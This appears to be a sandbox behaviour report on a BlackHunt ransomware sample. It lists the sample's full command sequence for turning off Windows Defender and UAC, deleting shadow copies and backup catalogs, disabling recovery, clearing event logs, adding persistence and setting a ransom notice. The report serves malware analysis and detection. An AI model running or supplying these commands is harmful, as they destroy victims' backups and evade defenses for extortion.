ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 54 PID 2500 wrote to memory of 2600 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 54 PID 2500 wrote to memory of 2600 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 54 PID 2500 wrote to memory of 2600 2500 ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe 54 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe"C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2500 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1696
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2592
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2448
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2840
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2652
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2064
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2740
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2848
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2656
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2712
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2608
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2924
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2868
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2768
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2204
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1556
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2600
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2724
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2200
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2172
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2232
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2384
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2268
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1040
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2340
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2080
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2260
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2856
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:3004
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2888
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2676
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2892
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2308
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2128
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2868
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1516
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2196
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1636
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1856
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1284
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1612
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1080
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1980
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1616
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe" /F2⤵PID:1420
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe" /F3⤵
- Creates scheduled task(s)
PID:2664
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2920
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2568
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1628
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1308
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2264
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1968
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2288
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:808
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2968
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2432
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2904
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:4060
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1272
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:540
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3916
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:336
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1472
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3936
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:588
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2612
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1632
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:904
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:2472
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:920
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:2544
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2764
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3272
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2996
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2704
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:3288
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3340
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3716
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2428
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3524
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3248
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:220
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1352
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3296
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2792
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3736
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1520
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3628
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3208
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3020
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:3752
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1656
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:560
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:3816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:1672
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3500
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:1748
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:3540
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:2976
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:3808
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3236
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:3364
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3000
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3464
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:2720
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:3228
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2740
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3984
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ae70722e48ff6db3f34ba831d24180ed5490b3edef3b7f1d6f89716e32624580.exe"2⤵
- Deletes itself
PID:2680 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:3724
-
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f1⤵
- Modifies registry class
PID:2812
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f1⤵
- Modifies registry class
PID:2784
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "606347611226474658-6110161682823927201834280405-19349661951132782362728862152"1⤵PID:2712
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4076
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2736
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:1556
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵PID:640
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3972
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1880
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2820
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD58284783fa72e1b609e88a301faa87c05
SHA1074f80bc5149a1012fc28a4129e43fad03f8608c
SHA25681443b56d623edc4ea3ff8923e28ff7f36f0c092b02afedcb6a46cb1a1061d66
SHA512ff2c509e6efbe82c2e7e1f7e214cb2043f3a2e87cb4d5d8b4fde4c359547144d452049b611b93b3e2f42a69324ee04286a1927ab749e30179db5f6fe0a50b499
-
Filesize
12KB
MD5ea773d1c44ed01dba408632061715656
SHA117dde9f7f98c6b71b51f5236a41d51beeea4db00
SHA25674a18880894736e4d291ce494a04c03998fc5f5a213d779ec000624cf1b8db1d
SHA5126ee0de5f4ffafeda6240b0d92410492a57389404f23b0a10b770eb83aff9f08749128d300b73ea916fea696251b12095fdad938dd31deb7eb6ccc683474fdddc
-
Filesize
684B
MD58a96b1ae64d5b0e74eccdff17ce9aa62
SHA1e6c97913dbc4cd02f0389f6880310685999fc870
SHA25669122f3ae02f0b8242597cf57f2a9ce453406dd5e67cac97f794909d582e99c8
SHA5124a1b76fc2874f50b89c5f6ff21a7320736bd5c10f9e0937c257a5a263cc915d3bfbc676257646b791505eb454cceb679e1e68bf302cfba92d0da4bbcc225a7ed